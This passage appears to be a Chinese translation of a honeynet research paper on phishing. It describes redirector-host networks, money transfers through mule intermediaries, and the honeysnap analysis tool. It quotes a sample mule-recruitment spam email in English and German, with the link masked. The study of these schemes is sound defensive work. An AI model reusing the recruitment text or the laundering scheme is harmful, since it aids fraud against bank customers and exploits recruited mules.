如果一台远程的 redir 主机被检测到了,那么受害者将把这个系统离线并重新安装,但这并不会对钓鱼者构成很大的损失,因为主钓鱼网站仍然在线,而且其他的 redir 主机仍然可以将 HTTP 流量转发到中央网站服务器。
如果中央的钓鱼网站服务器被检测到,这个系统将被离线,但钓鱼者可以在一台新攻陷的主机上重新架设钓鱼网站,并重新矫正原先的 redir 主机重定向流量到代替的中央网站服务器。使用这种技术,整个网络可以很快地重新恢复可用,网络钓鱼攻击可以快速地重新开始。
一台 redir 主机可以非常灵活,因为它可以通过非常简单地重新配置指向另外一个钓鱼网站。这也减少了从初始的系统攻陷到钓鱼网站可用的这段时间,从而增加了网络钓鱼攻击可以进行的时间长度。
使用这样的组合攻击技术又一次验证了攻击者的高组织性和能力,而不仅仅是简单的脚本小子。类似的运行模型也经常被主流的网站服务提供商和超大容量数据内容提供商(如 Google )所运用。
进一步的发现:资金转账
我们的研究同时也关注钓鱼者如何使用捕获的银行账号信息(如一个与相关的交易代号联系在一起的银行账号)。因为大多数银行都对跨国的资金流通进行监控,钓鱼者并不能简单地不引起金融权威机构注意下,从一个国家转移一大笔资金到另外一个国家。钓鱼者于是使用一些中介来为他们转移资金-以两阶段的步骤,钓鱼者先从受害者银行账号中把钱转移到一个同国中介人的银行账号中,中介人然后从他们的银行账号中提出现金(留下一定百分比作为他们的提供此转账服务的报酬)并寄给钓鱼者,如通过普通的地面信件。当然,这些中介人可能被捕,但是由于钓鱼者的钱已经在传输途中,他们并不会面对太大的安全风险,同时也可以很容易地转移他们的资金流通渠道到另外的中介人。一个可以说明在网络钓鱼攻击背后的金融结构的电子邮件实例如下:
Hello!
We finding Europe persons, who can Send/Receive bank wires from our sellings, from our European clients. To not pay TAXES from international transfers in Russia . We offer 10%
percent from amount u receive and pay all fees, for sending funds back.Amount from 1000 euro per day. All this activity are legal in Europe .
Fill this form: http://XXX.info/index.php (before filling install yahoo! messenger please or msn), you will recieve full details very quickly.
_________________________________________________________
Wir, europ?ische Personen findend, die Bankleitungen davon Senden/erhalten k?nnen unsere Verk?ufe, von unseren Kunden von Deutschland. STEUERN von internationalen übertragungen in Russland nicht zu bezahlen. Wirerh?lt das Prozent des Angebots 10 % vom Betrag und
bezahlt alle Schulgelder, um Kapital zurück zu senden. Betrag von 1000 Euro pro Tag. Diese ganze T?tigkeit ist in Europa gesetzlich.
Füllen Sie diese Form: http://XXX.info/index.php (bevor die Füllung Yahoo installiert! Bote bitte oder msn), Sie recieve volle Details sehr.
Thank you, FINANCIE LTD.
这是一封从英文到德文的非常烂的翻译稿,可能是通过翻译软件自动产生的,这也说明攻击者并不是以英语为母语的。因为钱将会被转移到俄罗斯,所以攻击者很可能来自这个国家。资金转移行为也正随着网络钓鱼攻击越来越具组织性变得越来越普遍。
Honeysnap – 一个攻击案例分析助手
一个从我们开始分析被上述网络钓鱼攻击攻陷的蜜罐数据时立即得到的一个结论是:由于不同黑客组织同时进行的多个攻击,我们需要非常多的时间从网络的流量中去抽取和准备用于进一步详细分析的数据。这个数据抽取过程是重复性的且枯燥乏味的,如果由人工进行将会使得我们宝贵的分析时间的效率大打折扣。因此需要一个自动化的解决方案。
由英国蜜罐项目组 David Watson 编写的 honeysnap 脚本正是基于此目的,被设计用来对蜜网日常捕获的数据为输入产生出一个简单的摘要输出,用于指导进一步的人工分析。 honeysnap 脚本对每个蜜罐的数据进行分类,提供了连出的 HTTP 和 FTP GETs 请求、 IRC 消息和 Sebek 键击记录日志列表功能,对关键网络连接能够进行自动化的 TCP 流重组,并抽取、标识和存储由 FTP 或 HTTP 下载的文件, honeysnap 脚本使得大多数消耗大量时间的攻击案例准备性工作都被移除,使得分析员能够集中精力人工地分析案例中的关键部分。 honeysnap 脚本还支持一个自动化的方法对包含感兴趣的关键字(如银行、账号、口令等)的 IRC 通讯进行显示,并提供日常性的 Email 报告功能。
目前的 honeysnap 脚本的一个基本的概念证明性的 UNIX shell 脚本,其 alpha 版可以在此找到,同时一组 honeysnap 输出 示例可以在此找到。一个模块化的并完全扩展的以 Python 编写的版本目前正在由蜜网项目组的成员开发中,并将与 2005 年 6 月发布 beta 测试版。
进一步的研究
在本文给出的信息给出了在网络钓鱼攻击领域进行进一步研究的一些潜在方法,我们同时建议在以下的一些方面进行更深入的调查和研究:
我们希望能够调查蜜罐技术能否被用于帮助与垃圾邮件发送者和钓鱼者进行对抗。一个可能的研究项目是部署一些在上述观察到的网络钓鱼攻击中所通常使用类型的蜜罐,或是一些对垃圾邮件发送者具有很强的吸引力的蜜罐( 如 SMTP open relays ),对攻击者对这些系统的攻击行为进行进一步的分析,能够帮助我们更深入地对网络钓鱼攻击进行剖析,特别是使用僵尸网络进行网络钓鱼这一领域,并能够对网络钓鱼攻击的创新进行跟踪。另外一个研究的可能性是进一步发展蜜罐的概念,研究客户端蜜罐技术,这种新一代的蜜罐工具能更活跃地参与到通讯网络中,例如,自动地随着垃圾邮件中的链接去访问目标网站内容。客户端蜜罐工具可以在 IRC 频道中发呆或通过 P2P 网络共享 / 下载文件,从而进一步地提高我们对这些通讯网络中所面临地安全威胁的了解。
另外,我们期望能够对对付和阻止这些网络钓鱼攻击的潜在方法进行深入研究。因为从一个网络钓鱼攻击的开始到结束的时间周期可能只有几个小时或几天,同时攻击源也可能广泛地分布,所以这将是一个困难的任务。目前在此领域研究的工作(如 The AntiPhishing Group 和 PhishReport )关注于依靠终端用户收集钓鱼邮件。虽然这是个可行的途径,但它只能在网络钓鱼攻击生命周期的最后阶段进行发现。 我们更需要 一个自动化地对网络钓鱼攻击捕获和响应的机制。
我们怀疑这些账号和口令在黑客界会被进行交易流通,可能通过 IRC 。蜜网技术可以被用来捕获这些通讯,并更深入地了解网络钓鱼攻击行为。另外,网络钓鱼攻击工具经常可以从一些经常更新地中央网站服务器或 FTP 服务器上下载获得。尽管充满争议,但对这些活动可以进行监控或联系系统拥有者以帮助他阻止这些网络钓鱼攻击,同时我们应该建立一个体系框架,从而对这些活动进行研究,并提出潜在的对策。
需要在提高案例分析的自动化进行进一步的研究工作,特别是对在这些攻击过程中捕获数据的自动轮廓生成。自动的流量和 IP 地址抽取, DNS 反向查询和 IP 地址块拥有者查询,针对每个 IP 地址或每个域名的流量摘要,以及被动的操作系统指纹辨识等功能在分析大规模的数据集时是非常有用的,在分析一个本地的包括已知主机、攻击者、攻击特征、消息内容等的取证数据库也是同样关键。在一个长期的规划中,需要建立共享这些信息的统一标准,以及一个全球的取证分析数据库从而支持对分布式的黑客活动进行分析,这也将是对整个互联网社区所高度需要和有显著意义的。
结论
在本文中我们展示了一些真实世界发生的网络钓鱼攻击的实际案例,以及在这些案例中攻击者进行的典型的行为。所有这些提供的信息都是使用高交互性的研究型蜜罐所捕获的,这又一次证明了蜜网技术在信息保障和取证分析领域里是一个强有力的工具。我们分析了攻击由德国和英国蜜网研究项目组部署的蜜罐的几次攻击。在两个案例中,钓鱼者攻击并攻陷了蜜罐系统,在攻陷主机后他们的动作开始有所差异。如下的网络钓鱼攻击各阶段的攻击技术被发现:
以著名的一些组织结构为目标,架设其钓鱼网站
发送欺骗性垃圾邮件,引诱受害者访问钓鱼网站
安装重定向服务,将网站流量都转发到已架设的钓鱼网站
通过僵尸网络传播垃圾邮件和钓鱼邮件
这些数据帮助我们了解钓鱼者的典型攻击行为和他们用来引诱和欺骗受害者的一些方法。我们已经学习到网络钓鱼攻击可以非常快地发生,在最初的系统入侵到一个钓鱼网站在线,并发出宣扬此网站的钓鱼垃圾邮件只有相当有限的时间,而这么快的攻击速度使得这些攻击者很难被追踪和阻止。
我们的研究同时显示网络钓鱼攻击正在变得越来越普遍而且具有良好的组织性。我们已经观察到针对主要的几个在线组织机构的预先构建的钓鱼网站的归档,这使得钓鱼者可以在很短的时间内准备好进行钓鱼攻击,这也说明了背后隐藏着一个组织良好的钓鱼攻击团体。这些钓鱼内容可以通过利用端口重定向器或僵尸网络快速地进一步扩散。与批量扫描的证据和钓鱼网站内容中手动形式加入的 IP 地址,我们可以相信在一个时刻会有多个特定钓鱼网站的实例同时存在,在上传的钓鱼网站构建完成之前,到达这个刚被攻陷的服务器的网页浏览流量就已经被发现,而且在某个被攻陷主机上发出的钓鱼垃圾邮件也有可能并不是在引诱受害者访问发送邮件的这台主机,这些现象都说明有良好组织性的钓鱼团队在进行分布式和并行的钓鱼攻击。
我们的研究工作显示了垃圾邮件、僵尸网络和网络钓鱼攻击之间一个清晰的连接关系,以及利用中介来完成最后的隐蔽性资金转账。这些观察到的现象,结合大规模的批量漏洞扫描和两层拓扑结构的钓鱼网络,都证明了钓鱼者所带来的真实威胁,钓鱼活动的组织严密性,以及他们所使用的相当高级的攻击技术。随着钓鱼攻击的技术门槛进一步增高及潜在的回报进一步增加,在未来几年中,网络钓鱼攻击的技术很可能进一步地发展,并且网络钓鱼攻击的数量也将进一步增长。减少可被僵尸网络控制的有漏洞的 PC 机,抑制数量不断增多的垃圾邮件,防止有组织性的犯罪活动,并且教育互联网用户关注来自社交工程的潜在安全风险,所有这些都还充满了挑战。